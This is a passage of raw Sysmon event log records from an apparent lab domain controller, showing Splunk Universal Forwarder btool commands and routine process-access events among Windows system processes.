Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.059{A5F018FF-294F-5F80-0E01-000000007F01}2888C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-0D01-000000007F01}3688C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool web list settings --no-log 10341000x80000000000000004965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0D01-000000007F01}3688C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0D01-000000007F01}3688C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-294F-5F80-0C01-000000007F01}11761152C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-0D01-000000007F01}3688C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.055{A5F018FF-294F-5F80-0D01-000000007F01}3688C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-0C01-000000007F01}1176C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool web list settings --no-log 10341000x80000000000000004952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0C01-000000007F01}1176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0C01-000000007F01}1176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-294F-5F80-0B01-000000007F01}48362776C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-294F-5F80-0C01-000000007F01}1176C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+146d6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.050{A5F018FF-294F-5F80-0C01-000000007F01}1176C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000004939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 